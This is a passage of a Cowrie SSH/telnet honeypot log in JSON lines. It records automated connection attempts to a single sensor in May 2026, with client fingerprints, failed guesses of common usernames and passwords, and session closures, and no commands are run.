0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:52.638386Z","src_ip":"45.156.87.204","session":"7d66c8dc8aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:52.888040Z","src_ip":"45.156.87.204","session":"7d66c8dc8aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6770548be06","protocol":"telnet","message":"New connection: 152.42.224.71:48474 (10.17.0.5:23) [session: e6770548be06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:52.939879Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:54.012911Z","src_ip":"45.156.87.204","session":"7d66c8dc8aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50558,"dst_ip":"159.203.135.109","dst_port":22,"session":"d03dbce7c320","protocol":"ssh","message":"New connection: 45.156.87.204:50558 (159.203.135.109:22) [session: d03dbce7c320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:56.074501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:56.079728Z","src_ip":"45.156.87.204","session":"d03dbce7c320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:56.233827Z","src_ip":"45.156.87.204","session":"d03dbce7c320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:56.708516Z","src_ip":"45.156.87.204","session":"d03dbce7c320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.672045946121216,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:57.108032Z","src_ip":"152.42.224.71","session":"4f8014bb216c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:57.798628Z","src_ip":"45.156.87.204","session":"d03dbce7c320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":33676,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1d2c6b0286c","protocol":"ssh","message":"New connection: 103.75.183.219:33676 (159.203.135.109:22) [session: f1d2c6b0286c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:58.320329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:58.325592Z","src_ip":"103.75.183.219","session":"f1d2c6b0286c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:58.573647Z","src_ip":"103.75.183.219","session":"f1d2c6b0286c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjycnfynby","message":"login attempt [root/rjycnfynby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:59.316755Z","src_ip":"103.75.183.219","session":"f1d2c6b0286c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"da086ffb1d67","protocol":"ssh","message":"New connection: 45.156.87.204:50578 (159.203.135.109:22) [session: da086ffb1d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:59.963388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:59.970002Z","src_ip":"45.156.87.204","session":"da086ffb1d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:00.054066Z","src_ip":"45.156.87.204","session":"da086ffb1d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:00.306735Z","src_ip":"45.156.87.204","session":"da086ffb1d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:00.567016Z","src_ip":"103.75.183.219","session":"f1d2c6b0286c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:01.469044Z","src_ip":"45.156.87.204","session":"da086ffb1d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2c4397527c8","protocol":"ssh","message":"New connection: 45.156.87.204:49740 (159.203.135.109:22) [session: f2c4397527c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:03.573535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:03.578826Z","src_ip":"45.156.87.204","session":"f2c4397527c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:03.667624Z","src_ip":"45.156.87.204","session":"f2c4397527c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:03.914914Z","src_ip":"45.156.87.204","session":"f2c4397527c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.34107708930969,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:04.030862Z","src_ip":"152.42.224.71","session":"4660121f8d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.7372944355011,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:04.383054Z","src_ip":"152.42.224.71","session":"756b2f20af0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:05.007093Z","src_ip":"45.156.87.204","session":"f2c4397527c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":56452,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2fa7833352a","protocol":"ssh","message":"New connection: 94.26.106.229:56452 (159.203.135.109:22) [session: a2fa7833352a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:05.459117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:05.464650Z","src_ip":"94.26.106.229","session":"a2fa7833352a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:05.554006Z","src_ip":"94.26.106.229","session":"a2fa7833352a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123456","message":"login attempt [reza/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:05.808088Z","src_ip":"94.26.106.229","session":"a2fa7833352a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:06.895681Z","src_ip":"94.26.106.229","session":"a2fa7833352a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49770,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c4a488673b","protocol":"ssh","message":"New connection: 45.156.87.204:49770 (159.203.135.109:22) [session: e0c4a488673b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.089316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.248430Z","src_ip":"45.156.87.204","session":"e0c4a488673b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.252300Z","src_ip":"45.156.87.204","session":"e0c4a488673b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.677023Z","src_ip":"45.156.87.204","session":"e0c4a488673b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":56460,"dst_ip":"159.203.135.109","dst_port":22,"session":"083ca4d074a1","protocol":"ssh","message":"New connection: 94.26.106.229:56460 (159.203.135.109:22) [session: 083ca4d074a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.698474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.704237Z","src_ip":"94.26.106.229","session":"083ca4d074a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:07.791257Z","src_ip":"94.26.106.229","session":"083ca4d074a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123","message":"login attempt [root/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.051716Z","src_ip":"94.26.106.229","session":"083ca4d074a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":10924,"dst_ip":"159.203.135.109","dst_port":22,"session":"03add99b3eb1","protocol":"ssh","message":"New connection: 94.26.106.229:10924 (159.203.135.109:22) [session: 03add99b3eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.593865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.597974Z","src_ip":"94.26.106.229","session":"03add99b3eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.685878Z","src_ip":"94.26.106.229","session":"03add99b3eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.762888Z","src_ip":"45.156.87.204","session":"e0c4a488673b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41178,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c961ba0f97","protocol":"telnet","message":"New connection: 152.42.224.71:41178 (10.17.0.5:23) [session: 35c961ba0f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.821294Z"}
